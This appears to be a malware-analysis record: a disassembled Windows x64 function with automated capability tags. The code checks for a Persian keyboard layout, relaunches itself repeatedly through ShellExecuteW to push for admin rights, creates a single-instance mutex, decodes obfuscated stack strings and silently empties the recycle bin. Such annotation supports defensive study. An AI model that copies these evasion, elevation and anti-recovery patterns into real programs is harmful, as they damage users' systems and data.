Function at 0x14003f4a0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Create process on windows
Empty recycle bin quietly
Empty the recycle bin
Get keyboard layout
Terminate process
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x258]
sub rsp, 0x340
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x1400ea180]
xor rax, rsp
mov qword [rbp + 0x210], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
movsxd rbx, eax
mov r14d, 8
mov eax, r14d
mul rbx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.140065620
mov rdi, rax
mov rdx, rax
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
xor r15d, r15d
test eax, eax
je 0x140021862
mov eax, r15d
test ebx, ebx
jle 0x140021862
mov ecx, 0x429
nop dword [rax + rax]
cmp word [rdi + rax*8], cx
je 0x1400219f5
inc rax
cmp rax, rbx
jl 0x140021850
mov rdx, r14
mov rcx, rdi
call fcn.1400652cc
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x140021a01
mov r8d, 0x104
lea rdx, [rbp]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140021a01
movsd xmm6, qword [0x1400da2c8]
lea rcx, [rbp - 0x80]
call fcn.140040970
nop
mov byte [rsp + 0x40], 0
mov byte [rsp + 0x41], 0x5e
mov byte [rsp + 0x42], 0xa
mov byte [rsp + 0x43], 0x10
mov byte [rsp + 0x44], 0xa
mov byte [rsp + 0x45], 0x47
mov byte [rsp + 0x46], 0xa
mov byte [rsp + 0x47], 0x1c
mov byte [rsp + 0x48], 0xa
mov byte [rsp + 0x49], 0x44
mov byte [rsp + 0x4a], 0xa
mov byte [rsp + 0x4b], 0xa
mov byte [rsp + 0x4c], 0xa
movzx eax, byte [rsp + 0x41]
lea rcx, [rsp + 0x40]
call fcn.140047590
mov rdx, rax
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 5
jne 0x1400219ec
lea rcx, [rbp - 0x70]
call fcn.140047610
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140040980
lea rcx, [rbp - 0x70]
call fcn.14002a060
movsd xmm7, qword [0x1400da2c0]
nop word [rax + rax]
cvttsd2si rcx, xmm6
call qword [sym.imp.KERNEL32.dll_Sleep]
mulsd xmm6, xmm7
mov byte [rsp + 0x50], 0
mov byte [rsp + 0x51], 0x56
mov byte [rsp + 0x52], 0x13
mov byte [rsp + 0x53], 0x33
mov byte [rsp + 0x54], 0x13
mov byte [rsp + 0x55], 0x30
mov byte [rsp + 0x56], 0x13
mov byte [rsp + 0x57], 0x73
mov byte [rsp + 0x58], 0x13
mov byte [rsp + 0x59], 0x20
mov byte [rsp + 0x5a], 0x13
mov byte [rsp + 0x5b], 0x13
mov byte [rsp + 0x5c], 0x13
movzx eax, byte [rsp + 0x51]
lea rcx, [rsp + 0x50]
call fcn.140047510
mov rdx, rax
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 5
je 0x140021950
lea rcx, [rbp - 0x80]
call fcn.1400409b0
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x60], xmm1
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov r8d, 0x24
lea rdx, str.4B991369_7C7C_47AA_A81E_EF6ED1F5E24C
lea rcx, [rsp + 0x60]
call fcn.140021d80
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae r8, qword [rsp + 0x60]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbp - 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
setne bl
mov byte [rbp - 0x38], bl
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140021aa1
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021a9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021cc5
call fcn.1400652cc
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
test bl, bl
jne 0x140021ac1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400232b0
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 7]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
lea rcx, [rbp - 0x30]
call fcn.140038890
nop
mov rdi, qword [rbp - 0x28]
mov rbx, qword [rbp - 0x30]
cmp rbx, rdi
je 0x140021b01
nop dword [rax + rax]
mov rcx, rbx
call fcn.140040cb0
add rbx, 0x20
cmp rbx, rdi
jne 0x140021af0
lea rcx, [rbp - 0x30]
call fcn.14002c720
call fcn.140040f80
call fcn.140046bc0
call fcn.140043cf0
lea rcx, [rbp - 0x18]
call fcn.140039200
mov rdi, qword [rbp - 0x10]
mov rbx, qword [rbp - 0x18]
cmp rbx, rdi
je 0x140021b41
nop
mov rcx, rbx
call fcn.140044270
add rbx, 0x20
cmp rbx, rdi
jne 0x140021b30
lea rcx, [rbp - 0x18]
call fcn.14002c720
call fcn.14002b650
call fcn.140041e20
call fcn.1400458a0
call fcn.1400444e0
mov ebx, r15d
lea rcx, [rbp - 0x60]
call fcn.140033b90
mov r8, rax
cmp qword [rax + 0x18], 8
jb 0x140021b77
mov r8, qword [rax]
mov byte [rsp + 0x30], 0
mov byte [rsp + 0x31], 0x6b
mov byte [rsp + 0x32], 0xa
mov byte [rsp + 0x33], 0x5d
mov byte [rsp + 0x34], 0xa
mov byte [rsp + 0x35], 0x78
mov byte [rsp + 0x36], 0xa
mov byte [rsp + 0x37], 0x79
mov byte [rsp + 0x38], 0xa
mov byte [rsp + 0x39], 0xa
mov byte [rsp + 0x3a], 0xa
movzx eax, byte [rsp + 0x31]
movzx eax, byte [rsp + 0x30]
test al, al
jne 0x140021c15
mov r10, r15
nop
movzx ecx, byte [rsp + r10 + 0x31]
sub ecx, 0xa
lea r9d, [rcx + rcx*8]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r9d, eax
add r9d, 0x7f
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r9d, eax
mov byte [rsp + r10 + 0x31], r9b
inc r10
cmp r10, 0xa
jb 0x140021bc0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, [rsp + 0x31]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140021c6e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021c69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021ccb
call fcn.1400652cc
inc ebx
cmp ebx, 1
jl 0x140021b61
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.140065270
lea r11, [rsp + 0x340]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140099524
nop
call fcn.140099524
int3
jmp 0x1400217c0